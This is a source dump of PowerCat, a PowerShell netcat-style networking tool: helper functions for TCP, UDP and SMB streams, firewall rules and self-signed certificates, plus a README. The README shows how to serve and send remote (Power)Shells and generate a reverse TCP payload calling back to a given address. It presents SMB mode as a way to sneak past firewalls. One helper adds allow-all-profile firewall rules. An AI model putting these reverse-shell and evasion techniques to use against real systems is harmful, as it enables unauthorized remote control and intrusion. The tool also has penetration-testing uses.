├── PowerCat.psd1 ├── Functions ├── Helpers │ ├── Send-PingAsync.ps1 │ ├── Add-FirewallRule.ps1 │ ├── Test-Port.ps1 │ ├── New-X509Certificate.ps1 │ ├── New-RuntimeParameter.ps1 │ ├── Out-EncodedCommand.ps1 │ └── New-TargetList.ps1 ├── NetworkStreams │ ├── Write-NetworkStream.ps1 │ ├── Close-NetworkStream.ps1 │ ├── Read-NetworkStream.ps1 │ ├── New-UdpStream.ps1 │ ├── New-SmbStream.ps1 │ └── New-TcpStream.ps1 ├── Connect-PowerCat.ps1 ├── Start-PowerCat.ps1 └── New-PowerCatPayload.ps1 ├── LICENSE └── ReadMe.md /PowerCat.psd1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neo23x0/PowerCat/master/PowerCat.psd1 -------------------------------------------------------------------------------- /Functions/Helpers/Send-PingAsync.ps1: -------------------------------------------------------------------------------- 1 | function Send-PingAsync { 2 | <# 3 | Author: Jesse Davis (@secabstraction) 4 | License: BSD 3-Clause 5 | #> 6 | [CmdLetBinding()] 7 | Param( 8 | [Parameter(Mandatory = $true, Position = 0, ValueFromPipeline = $true)] 9 | [ValidateNotNullOrEmpty()] 10 | [String[]]$ComputerName, 11 | 12 | [Parameter(Position = 1)] 13 | [ValidateNotNullOrEmpty()] 14 | [Int32]$Timeout = 250 15 | ) #End Param 16 | 17 | $Pings = New-Object Collections.Arraylist 18 | 19 | foreach ($Computer in $ComputerName) { 20 | [void]$Pings.Add((New-Object Net.NetworkInformation.Ping).SendPingAsync($Computer, $Timeout)) 21 | } 22 | Write-Verbose "Waiting for ping tasks to complete..." 23 | [Threading.Tasks.Task]::WaitAll($Pings) 24 | 25 | foreach ($Ping in $Pings) { Write-Output $Ping.Result } 26 | } 27 | -------------------------------------------------------------------------------- /Functions/NetworkStreams/Write-NetworkStream.ps1: -------------------------------------------------------------------------------- 1 | function Write-NetworkStream { 2 | <# 3 | Author: Jesse Davis (@secabstraction) 4 | License: BSD 3-Clause 5 | #> 6 | Param ( 7 | [Parameter(Position = 0)] 8 | [String]$Mode, 9 | 10 | [Parameter(Position = 1)] 11 | [Object]$Stream, 12 | 13 | [Parameter(Position = 2)] 14 | [Byte[]]$Bytes 15 | ) 16 | switch ($Mode) { 17 | 'Smb' { 18 | try { $Stream.Pipe.Write($Bytes, 0, $Bytes.Length) } 19 | catch { Write-Warning "Failed to send Smb data. $($_.Exception.Message)" } 20 | continue 21 | } 22 | 'Tcp' { 23 | try { $Stream.TcpStream.Write($Bytes, 0, $Bytes.Length) } 24 | catch { Write-Warning "Failed to write to Tcp stream. $($_.Exception.Message)." } 25 | continue 26 | } 27 | 'Udp' { 28 | try { $BytesSent = $Stream.UdpClient.Send($Bytes, $Bytes.Length) } 29 | catch { Write-Warning "Failed to send Udp data to $($Stream.Socket.RemoteEndPoint.ToString()). $($_.Exception.Message)." } 30 | } 31 | } 32 | } -------------------------------------------------------------------------------- /Functions/NetworkStreams/Close-NetworkStream.ps1: -------------------------------------------------------------------------------- 1 | function Close-NetworkStream { 2 | <# 3 | Author: Jesse Davis (@secabstraction) 4 | License: BSD 3-Clause 5 | #> 6 | Param ( 7 | [Parameter(Position = 0)] 8 | [String]$Mode, 9 | 10 | [Parameter(Position = 1)] 11 | [Object]$Stream 12 | ) 13 | switch ($Mode) { 14 | 'Smb' { 15 | try { $Stream.Pipe.Dispose() } 16 | catch { Write-Verbose "Failed to close Smb stream. $($_.Exception.Message)." } 17 | continue 18 | } 19 | 'Tcp' { 20 | try { 21 | if ($PSVersionTable.CLRVersion.Major -lt 4) { $Stream.Socket.Close() ; $Stream.TcpStream.Close() } 22 | else { $Stream.Socket.Dispose() ; $Stream.TcpStream.Dispose() } 23 | } 24 | catch { Write-Verbose "Failed to close Tcp stream. $($_.Exception.Message)." } 25 | continue 26 | } 27 | 'Udp' { 28 | try { 29 | if ($PSVersionTable.CLRVersion.Major -lt 4) { $Stream.Socket.Close() ; $Stream.UdpClient.Close() } 30 | else { $Stream.Socket.Dispose() ; $Stream.UdpClient.Dispose() } 31 | } 32 | catch { Write-Verbose "Failed to close Udp stream. $($_.Exception.Message)." } 33 | } 34 | } 35 | } -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2015, Jesse Davis 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are met: 6 | 7 | * Redistributions of source code must retain the above copyright notice, this 8 | list of conditions and the following disclaimer. 9 | 10 | * Redistributions in binary form must reproduce the above copyright notice, 11 | this list of conditions and the following disclaimer in the documentation 12 | and/or other materials provided with the distribution. 13 | 14 | * Neither the name of Invoke-PowerCat nor the names of its 15 | contributors may be used to endorse or promote products derived from 16 | this software without specific prior written permission. 17 | 18 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 19 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 20 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 21 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 22 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 23 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 24 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 25 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 26 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 27 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 28 | 29 | -------------------------------------------------------------------------------- /Functions/Helpers/Add-FirewallRule.ps1: -------------------------------------------------------------------------------- 1 | function Add-FirewallRule { 2 | Param ( 3 | [Parameter()] 4 | [String]$Name, 5 | 6 | [Parameter()] 7 | [ValidateSet('HOPOPT','ICMPv4','IGMP','TCP','UDP','IPv6','IPv6Route','IPv6Frag','GRE','ICMPv6','IPv6NoNxt','IPv6Opts','VRRP','PGM','L2TP')] 8 | [String]$Protocol, 9 | 10 | [Parameter()] 11 | [Int[]]$Ports, 12 | 13 | [Parameter()] 14 | [String]$ApplicationName, 15 | 16 | [Parameter()] 17 | [String]$ServiceName 18 | ) 19 | $Fw = New-Object -ComObject HNetCfg.FwPolicy2 20 | $Rule = New-Object -ComObject HNetCfg.FWRule 21 | 22 | $Rule.Name = $Name 23 | if ($PSBoundParameters.ApplicationName) { $Rule.ApplicationName = $ApplicationName } 24 | if ($PSBoundParameters.ServiceName) { $Rule.ServiceName = $ServiceName } 25 | 26 | $Rule.Protocol = switch ($Protocol) { 27 | 'HOPOPT' { 0 } 28 | 'ICMPv4' { 1 } 29 | 'IGMP' { 2 } 30 | 'TCP' { 6 } 31 | 'UDP' { 17 } 32 | 'IPv6' { 41 } 33 | 'IPv6Route' { 43 } 34 | 'IPv6Frag' { 44 } 35 | 'GRE' { 47 } 36 | 'ICMPv6' { 58 } 37 | 'IPv6NoNxt' { 59 } 38 | 'IPv6Opts' { 60 } 39 | 'VRRP' { 112 } 40 | 'PGM' { 113 } 41 | 'L2TP' { 115 } 42 | } 43 | $Rule.LocalPorts = $Ports 44 | $Rule.Enabled = $true 45 | $Rule.Grouping = "@firewallapi.dll,-23255" 46 | $Rule.Profiles = 7 # all 47 | $Rule.Action = 1 # NET_FW_ACTION_ALLOW 48 | $Rule.EdgeTraversal = $false 49 | 50 | $Fw.Rules.Add($Rule) 51 | } -------------------------------------------------------------------------------- /Functions/NetworkStreams/Read-NetworkStream.ps1: -------------------------------------------------------------------------------- 1 | function Read-NetworkStream { 2 | <# 3 | Author: Jesse Davis (@secabstraction) 4 | License: BSD 3-Clause 5 | #> 6 | Param ( 7 | [Parameter(Position = 0)] 8 | [String]$Mode, 9 | 10 | [Parameter(Position = 1)] 11 | [Object]$Stream 12 | ) 13 | switch ($Mode) { 14 | 'Smb' { 15 | try { $BytesRead = $Stream.Pipe.EndRead($Stream.Read) } 16 | catch { Write-Warning "Failed to read Smb stream. $($_.Exception.Message)." ; continue } 17 | 18 | if ($BytesRead) { 19 | $BytesReceived = $Stream.Buffer[0..($BytesRead - 1)] 20 | [Array]::Clear($Stream.Buffer, 0, $BytesRead) 21 | } 22 | $Stream.Read = $Stream.Pipe.BeginRead($Stream.Buffer, 0, $Stream.Buffer.Length, $null, $null) 23 | 24 | if ($BytesRead) { return $BytesReceived } 25 | else { Write-Verbose 'Smb stream closed by remote end.' ; continue } 26 | } 27 | 'Tcp' { 28 | try { $BytesRead = $Stream.TcpStream.EndRead($Stream.Read) } 29 | catch { Write-Warning "Failed to read Tcp stream. $($_.Exception.Message)." ; continue } 30 | 31 | if ($BytesRead) { 32 | $BytesReceived = $Stream.Buffer[0..($BytesRead - 1)] 33 | [Array]::Clear($Stream.Buffer, 0, $BytesRead) 34 | } 35 | $Stream.Read = $Stream.TcpStream.BeginRead($Stream.Buffer, 0, $Stream.Buffer.Length, $null, $null) 36 | 37 | if ($BytesRead) { return $BytesReceived } 38 | else { Write-Verbose 'Tcp stream closed by remote end.' ; continue } 39 | } 40 | 'Udp' { 41 | try { $Bytes = $Stream.UdpClient.EndReceive($Stream.Read, [ref]$Stream.Socket.RemoteEndpoint) } 42 | catch { Write-Warning "Failed to receive Udp data from $($Stream.Socket.RemoteEndpoint.ToString()). $($_.Exception.Message)." ; continue } 43 | 44 | $Stream.Read = $Stream.UdpClient.BeginReceive($null, $null) 45 | 46 | return $Bytes 47 | } 48 | } 49 | } -------------------------------------------------------------------------------- /Functions/Helpers/Test-Port.ps1: -------------------------------------------------------------------------------- 1 | function Test-Port { 2 | <# 3 | Author: Jesse Davis (@secabstraction) 4 | License: BSD 3-Clause 5 | #> 6 | Param ( 7 | [Parameter(Position = 0, Mandatory = $true)] 8 | [Int]$Number, 9 | 10 | [Parameter(Position = 1)] 11 | [ValidateSet('Tcp','Udp')] 12 | [String]$Transport 13 | ) 14 | 15 | $IPGlobalProperties = [Net.NetworkInformation.IPGlobalProperties]::GetIPGlobalProperties() 16 | 17 | if ($Transport -eq 'Tcp') { 18 | foreach ($Connection in $IPGlobalProperties.GetActiveTcpConnections()) { 19 | if ($Connection.LocalEndPoint.Port -eq $Number) { 20 | Write-Warning "Port $Number`:Tcp is already in use." 21 | return $false 22 | } 23 | } 24 | foreach ($Listener in $IPGlobalProperties.GetActiveTcpListeners()) { 25 | if ($Listener.Port -eq $Number) { 26 | Write-Warning "Port $Number`:Tcp is already in use." 27 | return $false 28 | } 29 | } 30 | } 31 | elseif ($Transport -eq 'Udp') { 32 | foreach ($Listener in $IPGlobalProperties.GetActiveUdpListeners()) { 33 | if ($Listener.Port -eq $Number) { 34 | Write-Warning "Port $Number`:Udp is already in use." 35 | return $false 36 | } 37 | } 38 | } 39 | else { # check both Tcp & Udp 40 | foreach ($Connection in $IPGlobalProperties.GetActiveTcpConnections()) { 41 | if ($Connection.LocalEndPoint.Port -eq $Number) { 42 | Write-Warning "Port $Number`:Tcp is already in use." 43 | return $false 44 | } 45 | } 46 | foreach ($Listener in $IPGlobalProperties.GetActiveTcpListeners()) { 47 | if ($Listener.Port -eq $Number) { 48 | Write-Warning "Port $Number`:Tcp is already in use." 49 | return $false 50 | } 51 | } 52 | foreach ($Listener in $IPGlobalProperties.GetActiveUdpListeners()) { 53 | if ($Listener.Port -eq $Number) { 54 | Write-Warning "Port $Number`:Udp is already in use." 55 | return $false 56 | } 57 | } 58 | } 59 | return $true 60 | } -------------------------------------------------------------------------------- /Functions/Helpers/New-X509Certificate.ps1: -------------------------------------------------------------------------------- 1 | function New-X509Certificate { 2 | <# 3 | Author: Jesse Davis (@secabstraction) 4 | License: BSD 3-Clause 5 | #> 6 | Param ( 7 | [Parameter(Position = 0, Mandatory = $true)] 8 | [ValidateNotNullOrEmpty()] 9 | [String]$CommonName 10 | ) 11 | $DN = New-Object -ComObject 'X509Enrollment.CX500DistinguishedName.1' 12 | $DN.Encode("CN=$CommonName", 0) 13 | 14 | $PrivateKey = New-Object -ComObject 'X509Enrollment.CX509PrivateKey.1' 15 | $PrivateKey.ProviderName = "Microsoft RSA SChannel Cryptographic Provider" 16 | $PrivateKey.KeySpec = 1 # XCN_AT_KEYEXCHANGE 17 | $PrivateKey.ExportPolicy = 2 # XCN_NCRYPT_ALLOW_PLAINTEXT_EXPORT_FLAG 18 | $PrivateKey.MachineContext = $true 19 | $PrivateKey.Length = 2048 20 | $PrivateKey.Create() 21 | 22 | $HashAlg = New-Object -ComObject 'X509Enrollment.CObjectId.1' 23 | $HashAlg.InitializeFromAlgorithmName(1, 0, 0, 'SHA512') 24 | 25 | $ServerAuthOid = New-Object -ComObject 'X509Enrollment.CObjectId.1' 26 | $ServerAuthOid.InitializeFromValue('1.3.6.1.5.5.7.3.1') 27 | $EkuOid = New-Object -ComObject 'X509Enrollment.CObjectIds.1' 28 | $EkuOid.Add($ServerAuthOid) 29 | $EkuExtension = New-Object -ComObject 'X509Enrollment.CX509ExtensionEnhancedKeyUsage.1' 30 | $EkuExtension.InitializeEncode($EkuOid) 31 | 32 | $Certificate = New-Object -ComObject 'X509Enrollment.CX509CertificateRequestCertificate.1' 33 | $Certificate.InitializeFromPrivateKey(2, $PrivateKey, '') 34 | $Certificate.Subject = $DN 35 | $Certificate.Issuer = $Certificate.Subject 36 | $Certificate.NotBefore = [DateTime]::Now.AddDays(-1) 37 | $Certificate.NotAfter = $Certificate.NotBefore.AddDays(90) 38 | $Certificate.X509Extensions.Add($EkuExtension) 39 | $Certificate.HashAlgorithm = $HashAlg 40 | $Certificate.Encode() 41 | 42 | $Enroll = New-Object -ComObject 'X509Enrollment.CX509Enrollment.1' 43 | $Enroll.InitializeFromRequest($Certificate) 44 | $Enroll.CertificateFriendlyName = $CommonName 45 | $Csr = $Enroll.CreateRequest() 46 | $Enroll.InstallResponse(2, $Csr, 1, '') 47 | $Base64 = $Enroll.CreatePFX('', 0) 48 | 49 | $Bytes = [Convert]::FromBase64String($Base64) 50 | $X509Cert = New-Object Security.Cryptography.X509Certificates.X509Certificate2($Bytes, '') 51 | 52 | return $X509Cert 53 | } -------------------------------------------------------------------------------- /Functions/Helpers/New-RuntimeParameter.ps1: -------------------------------------------------------------------------------- 1 | function New-RuntimeParameter { 2 | <# 3 | Author: Jesse Davis (@secabstraction) 4 | License: BSD 3-Clause 5 | #> 6 | [CmdletBinding()] 7 | Param ( 8 | [Parameter(Position = 0, Mandatory = $true)] 9 | [ValidateNotNullOrEmpty()] 10 | [Type]$Type, 11 | 12 | [Parameter(Position = 1, Mandatory = $true)] 13 | [ValidateNotNullOrEmpty()] 14 | [String]$Name, 15 | 16 | [Parameter()] 17 | [ValidateNotNullOrEmpty()] 18 | [String[]]$Alias, 19 | 20 | [Parameter()] 21 | [ValidateNotNullOrEmpty()] 22 | [Int]$Position, 23 | 24 | [Parameter()] 25 | [Switch]$Mandatory, 26 | 27 | [Parameter()] 28 | [ValidateNotNullOrEmpty()] 29 | [String]$HelpMessage, 30 | 31 | [Parameter()] 32 | [ValidateNotNullOrEmpty()] 33 | [String[]]$ValidateSet, 34 | 35 | [Parameter()] 36 | [ValidateNotNullOrEmpty()] 37 | [Regex]$ValidatePattern, 38 | 39 | [Parameter()] 40 | [Switch]$ValueFromPipeline, 41 | 42 | [Parameter()] 43 | [Switch]$ValueFromPipelineByPropertyName, 44 | 45 | [Parameter()] 46 | [ValidateNotNullOrEmpty()] 47 | [String]$ParameterSetName = '__AllParameterSets', 48 | 49 | [Parameter()] 50 | [System.Management.Automation.RuntimeDefinedParameterDictionary]$ParameterDictionary 51 | ) 52 | #create a new ParameterAttribute Object 53 | $Attribute = New-Object Management.Automation.ParameterAttribute 54 | $Attribute.ParameterSetName = $ParameterSetName 55 | 56 | if ($PSBoundParameters.Position) { $Attribute.Position = $Position } 57 | 58 | if ($Mandatory.IsPresent) { $Attribute.Mandatory = $true } 59 | else { $Attribute.Mandatory = $false } 60 | 61 | if ($PSBoundParameters.HelpMessage) { $Attribute.HelpMessage = $HelpMessage } 62 | 63 | if ($ValueFromPipeline.IsPresent) { $Attribute.ValueFromPipeline = $true } 64 | else { $Attribute.ValueFromPipeline = $false } 65 | 66 | if ($ValueFromPipelineByPropertyName.IsPresent) { $Attribute.ValueFromPipelineByPropertyName = $true } 67 | else { $Attribute.ValueFromPipelineByPropertyName = $false } 68 | 69 | #create an attributecollection object for the attribute we just created. 70 | $AttributeCollection = New-Object Collections.ObjectModel.Collection[Attribute] 71 | 72 | if ($PSBoundParameters.ValidateSet) { 73 | $ParamOptions = New-Object Management.Automation.ValidateSetAttribute -ArgumentList $ValidateSet 74 | $AttributeCollection.Add($ParamOptions) 75 | } 76 | 77 | if ($PSBoundParameters.Alias) { 78 | $ParamAlias = New-Object Management.Automation.AliasAttribute -ArgumentList $Alias 79 | $AttributeCollection.Add($ParamAlias) 80 | } 81 | 82 | if ($PSBoundParameters.ValidatePattern) { 83 | $ParamPattern = New-Object Management.Automation.ValidatePatternAttribute -ArgumentList $ValidatePattern 84 | $AttributeCollection.Add($ParamPattern) 85 | } 86 | 87 | #add our custom attribute 88 | $AttributeCollection.Add($Attribute) 89 | 90 | $Parameter = New-Object Management.Automation.RuntimeDefinedParameter -ArgumentList @($Name, $Type, $AttributeCollection) 91 | 92 | if($PSBoundParameters.ParameterDictionary) { $ParameterDictionary.Add($Name, $Parameter) } 93 | else { 94 | $Dictionary = New-Object Management.Automation.RuntimeDefinedParameterDictionary 95 | $Dictionary.Add($Name, $Parameter) 96 | Write-Output $Dictionary 97 | } 98 | } -------------------------------------------------------------------------------- /Functions/NetworkStreams/New-UdpStream.ps1: -------------------------------------------------------------------------------- 1 | function New-UdpStream { 2 | <# 3 | Author: Jesse Davis (@secabstraction) 4 | License: BSD 3-Clause 5 | #> 6 | [CmdletBinding(DefaultParameterSetName = 'Client')] 7 | Param ( 8 | [Parameter(Position = 0, ParameterSetName = 'Client')] 9 | [Net.IPAddress]$ServerIp, 10 | 11 | [Parameter(Position = 0, ParameterSetName = 'Listener')] 12 | [Switch]$Listener, 13 | 14 | [Parameter(Position = 1)] 15 | [Int]$Port, 16 | 17 | [Parameter()] 18 | [Int]$BufferSize = 65536, 19 | 20 | [Parameter()] 21 | [Int]$Timeout = 60 22 | ) 23 | 24 | if ($Listener.IsPresent) { 25 | 26 | $SocketDestinationBuffer = New-Object Byte[] 65536 27 | $RemoteEndPoint = New-Object Net.IPEndPoint @([Net.IPAddress]::Any, $null) 28 | $UdpClient = New-Object Net.Sockets.UDPClient $Port 29 | $PacketInfo = New-Object Net.Sockets.IPPacketInformation 30 | 31 | Write-Verbose "Listening on 0.0.0.0:$Port [udp]" 32 | 33 | $ConnectResult = $UdpClient.Client.BeginReceiveMessageFrom($SocketDestinationBuffer, 0, 65536, [Net.Sockets.SocketFlags]::None, [ref]$RemoteEndPoint, $null, $null) 34 | 35 | $Stopwatch = [Diagnostics.Stopwatch]::StartNew() 36 | [console]::TreatControlCAsInput = $true 37 | 38 | do { 39 | if ([console]::KeyAvailable) { 40 | $Key = [console]::ReadKey($true) 41 | if ($Key.Key -eq [Consolekey]::Escape) { 42 | Write-Warning "Caught escape sequence, stopping UDP Setup." 43 | [console]::TreatControlCAsInput = $false 44 | if ($PSVersionTable.CLRVersion.Major -lt 4) { $UdpClient.Close() } 45 | else { $UdpClient.Dispose() } 46 | $Stopwatch.Stop() 47 | return 48 | } 49 | } 50 | if ($Stopwatch.Elapsed.TotalSeconds -gt $Timeout) { 51 | Write-Warning "Timeout exceeded, stopping UDP Setup." 52 | [console]::TreatControlCAsInput = $false 53 | if ($PSVersionTable.CLRVersion.Major -lt 4) { $UdpClient.Close() } 54 | else { $UdpClient.Dispose() } 55 | $Stopwatch.Stop() 56 | return 57 | } 58 | } until ($ConnectResult.IsCompleted) 59 | 60 | [console]::TreatControlCAsInput = $false 61 | $Stopwatch.Stop() 62 | 63 | $SocketFlags = 0 64 | $SocketBytesRead = $UdpClient.Client.EndReceiveMessageFrom($ConnectResult, [ref]$SocketFlags, [ref]$RemoteEndPoint, [ref]$PacketInfo) 65 | $UdpClient.Connect($RemoteEndPoint) 66 | 67 | if ($SocketBytesRead.Count) { $InitialBytes = $SocketDestinationBuffer[0..($SocketBytesRead - 1)] } 68 | 69 | Write-Verbose "Connection from $($RemoteEndPoint.ToString()) [udp] accepted." 70 | 71 | $Properties = @{ 72 | UdpClient = $UdpClient 73 | Socket = $UdpClient.Client 74 | Read = $UdpClient.BeginReceive($null, $null) 75 | } 76 | $UdpStream = New-Object psobject -Property $Properties 77 | } 78 | else { # Client 79 | $RemoteEndPoint = New-Object Net.IPEndPoint @($ServerIp, $Port) 80 | $UdpClient = New-Object Net.Sockets.UDPClient 81 | $UdpClient.Connect($RemoteEndPoint) 82 | 83 | Write-Verbose "Sending UDP data to $($RemoteEndPoint.ToString()).`nMake sure to send some data to the server!" 84 | 85 | $Properties = @{ 86 | UdpClient = $UdpClient 87 | Socket = $UdpClient.Client 88 | Read = $UdpClient.BeginReceive($null, $null) 89 | } 90 | $UdpStream = New-Object psobject -Property $Properties 91 | } 92 | return $InitialBytes, $UdpStream 93 | } -------------------------------------------------------------------------------- /Functions/NetworkStreams/New-SmbStream.ps1: -------------------------------------------------------------------------------- 1 | function New-SmbStream { 2 | <# 3 | Author: Jesse Davis (@secabstraction) 4 | License: BSD 3-Clause 5 | #> 6 | [CmdletBinding(DefaultParameterSetName = 'Client')] 7 | Param ( 8 | [Parameter(Position = 0, ParameterSetName = 'Client')] 9 | [String]$ServerIp, 10 | 11 | [Parameter(Position = 0, ParameterSetName = 'Listener')] 12 | [Switch]$Listener, 13 | 14 | [Parameter(Position = 1)] 15 | [ValidateNotNullorEmpty()] 16 | [String]$PipeName, 17 | 18 | [Parameter(Position = 3)] 19 | [Int]$Timeout = 60, 20 | 21 | [Parameter()] 22 | [Int]$BufferSize = 65536 23 | ) 24 | 25 | if ($Listener.IsPresent) { 26 | $PipeSecurity = New-Object IO.Pipes.PipeSecurity 27 | $PipeServer = New-Object IO.Pipes.NamedPipeServerStream($PipeName, 3, 1, 0, [IO.Pipes.PipeOptions]::Asynchronous, $BufferSize, $BufferSize, $PipeSecurity, 0, [IO.Pipes.PipeAccessRights]::ChangePermissions) 28 | $PipeSecurity = $PipeServer.GetAccessControl() 29 | $PipeSecurity.AddAccessRule((New-Object IO.Pipes.PipeAccessRule("Everyone", [IO.Pipes.PipeAccessRights]::FullControl, 0))) 30 | $PipeServer.SetAccessControl($PipeSecurity) 31 | $ConnectResult = $PipeServer.BeginWaitForConnection($null, $null) 32 | 33 | Write-Verbose "Listening on 0.0.0.0:$PipeName [smb]" 34 | 35 | $Stopwatch = [Diagnostics.Stopwatch]::StartNew() 36 | [console]::TreatControlCAsInput = $true 37 | 38 | do { 39 | if ([console]::KeyAvailable) { 40 | $Key = [console]::ReadKey($true) 41 | if ($Key.Key -eq [Consolekey]::Escape) { 42 | Write-Warning "Caught escape sequence, stopping Smb Setup." 43 | [console]::TreatControlCAsInput = $false 44 | $PipeServer.Dispose() 45 | $Stopwatch.Stop() 46 | return 47 | } 48 | } 49 | if ($Stopwatch.Elapsed.TotalSeconds -gt $Timeout) { 50 | Write-Warning "Timeout exceeded, stopping Smb Setup." 51 | [console]::TreatControlCAsInput = $false 52 | $PipeServer.Dispose() 53 | $Stopwatch.Stop() 54 | return 55 | } 56 | } until ($ConnectResult.IsCompleted) 57 | 58 | [console]::TreatControlCAsInput = $false 59 | $Stopwatch.Stop() 60 | 61 | try { $PipeServer.EndWaitForConnection($ConnectResult) } 62 | catch { 63 | Write-Warning "Pipe server connection failed. $($_.Exception.Message)." 64 | $PipeServer.Dispose() 65 | return 66 | } 67 | Write-Verbose "Connection from client accepted." 68 | 69 | $Buffer = New-Object Byte[] $BufferSize 70 | 71 | $Properties = @{ 72 | Pipe = $PipeServer 73 | Buffer = $Buffer 74 | Read = $PipeServer.BeginRead($Buffer, 0, $Buffer.Length, $null, $null) 75 | } 76 | New-Object psobject -Property $Properties 77 | } 78 | else { # Client 79 | 80 | $PipeClient = New-Object IO.Pipes.NamedPipeClientStream($ServerIp, $PipeName, [IO.Pipes.PipeDirection]::InOut, [IO.Pipes.PipeOptions]::Asynchronous) 81 | try { $PipeClient.Connect(($Timeout * 1000)) } 82 | catch { 83 | Write-Warning "Pipe client connection failed. $($_.Exception.Message)." 84 | $PipeClient.Dispose() 85 | return 86 | } 87 | Write-Verbose "Connected to $ServerIp`:$PipeName." 88 | 89 | $Buffer = New-Object Byte[] $BufferSize 90 | 91 | $Properties = @{ 92 | Pipe = $PipeClient 93 | Buffer = $Buffer 94 | Read = $PipeClient.BeginRead($Buffer, 0, $Buffer.Length, $null, $null) 95 | } 96 | New-Object psobject -Property $Properties 97 | } 98 | } -------------------------------------------------------------------------------- /ReadMe.md: -------------------------------------------------------------------------------- 1 | PowerCat 2 | ==== 3 | A PowerShell TCP/IP swiss army knife that works with Netcat & Ncat
Inspired by: https://github.com/besimorhino/powercat 4 | 5 | Installation 6 | ------------ 7 | PowerCat is packaged as a PowerShell module. You must import the module to use its functions. 8 | ```powershell 9 | # Import the functions via the psd1 file: 10 | Import-Module PowerCat.psd1 11 | ``` 12 | #### Functions & Parameters: 13 | ```powershell 14 | Start-PowerCat # Starts a listener/server. 15 | 16 | -Mode # Defaults to Tcp, can also specify Udp or Smb. 17 | -Port # The port to listen on. 18 | -PipeName # Name of pipe to listen on. 19 | 20 | -SslCn # Common name for Ssl encrypting Tcp. 21 | -Relay # Format: ":" 22 | -Execute # Execute a console process or powershell. 23 | -SendFile # Filepath of file to send. 24 | -ReceiveFile # Filepath of file to be written. 25 | -Disconnect # Disconnect after connecting. 26 | -KeepAlive # Restart after disconnecting. 27 | -Timeout # Timeout option. Default: 60 seconds 28 | 29 | Connect-PowerCat # Connects a client to a listener/server. 30 | 31 | -Mode # Defaults to Tcp, can also specify Udp or Smb 32 | -RemoteIp # IPv4 address of host to connect to. 33 | -Port # The port to connect to. 34 | -PipeName # Name of pipe to connect to. 35 | 36 | -SslCn # Common name for Ssl encrypting Tcp. 37 | -Relay # Format: "::" 38 | -Execute # Execute a console process or powershell. 39 | -SendFile # Filepath of file to send. 40 | -ReceiveFile # Filepath of file to be written. 41 | -Disconnect # Disconnect after connecting. 42 | -Timeout # Timeout option. Default: 60 seconds 43 | ``` 44 | Basic Connections 45 | ----------------------------------- 46 | By default, PowerCat uses TCP and reads from / writes to the console. 47 | ```powershell 48 | # Basic Listener: 49 | Start-PowerCat -Port 443 50 | 51 | # Basic Client: 52 | Connect-PowerCat -RemoteIp 10.1.1.1 -Port 443 53 | ``` 54 | File Transfer 55 | ------------- 56 | PowerCat can be used to transfer files using the -SendFile and -ReceiveFile parameters. 57 | ```powershell 58 | # Send File: 59 | Connect-PowerCat -RemoteIp 10.1.1.1 -Port 443 -SendFile C:\pathto\inputfile 60 | 61 | # Receive File: 62 | Start-PowerCat -Port 443 -ReceiveFile C:\pathto\outputfile 63 | ``` 64 | Shells 65 | ------ 66 | PowerCat can be used to send and serve (Power)Shells using the -Execute parameter. 67 | ```powershell 68 | # Serve a shell: 69 | Start-PowerCat -Port 443 -Execute 70 | 71 | # Send a Shell: 72 | Connect-PowerCat -RemoteIp 10.1.1.1 -Port 443 -Execute 73 | ``` 74 | UDP and SMB 75 | ----------- 76 | PowerCat supports more than sending data over TCP. 77 | ```powershell 78 | # Send Data Over UDP: 79 | Start-PowerCat -Mode Udp -Port 8000 80 | 81 | # Send Data Over SMB (easily sneak past firewalls): 82 | Start-PowerCat -Mode Smb -PipeName PowerCat 83 | ``` 84 | SSL 85 | ----------- 86 | PowerCat generates X509 certificates on-the-fly to provide SSL encryption of TCP connections. 87 | ```powershell 88 | # Admin privileges are required to generate the self-signed certificate. 89 | 90 | # Serve an SSL-Encrypted (Power)Shell: 91 | Start-PowerCat -Mode Tcp -Port 80 -SslCn -Execute 92 | 93 | # Connect to an SSL encrypted Ncat listener: 94 | # Setup *nix with openssl & Ncat: 95 | # openssl req -X509 -newkey rsa:2048 -subj /CN=PowerCat -days 90 -keyout key.pem -out cert.pem 96 | # ncat -l -p 80 --ssl --ssl-cert cert.pem --ssl-key key.pem 97 | 98 | Connect-PowerCat -Mode Tcp -RemoteIp 10.1.1.1 -Port 80 -SslCn PowerCat 99 | ``` 100 | Relays 101 | ------ 102 | Relays in PowerCat are similar to netcat relays, but you don't have to create a file or start a second process. You can also relay data between connections of different protocols. 103 | ```powershell 104 | # UDP Listener to TCP Client Relay: 105 | Start-PowerCat -Mode Udp -Port 8000 -Relay tcp:10.1.1.16:443 106 | 107 | # TCP Listener to UDP Client Relay: 108 | Start-PowerCat -Port 8000 -Relay udp:10.1.1.16:53 109 | 110 | # TCP Client to Client Relay 111 | Connect-PowerCat -RemoteIp 10.1.1.1 -Port 9000 -Relay tcp:10.1.1.16:443 112 | 113 | # TCP Listener to SMB Listener Relay 114 | New-PowerCat -Listener -Port 8000 -Relay smb:PowerCat 115 | ``` 116 | Generate Payloads 117 | ----------------- 118 | Payloads can be generated using the New-PowerCatPayload function. 119 | ```powershell 120 | # Generate a reverse tcp payload that connects back to 10.1.1.15 port 443: 121 | New-PowerCatPayload -RemoteIp 10.1.1.15 -Port 443 -Execute 122 | 123 | # Generate a tcp payload that listens on port 8000: 124 | New-PowerCatPayload -Listener -Port 8000 -Execute 125 | ``` 126 | Misc Usage 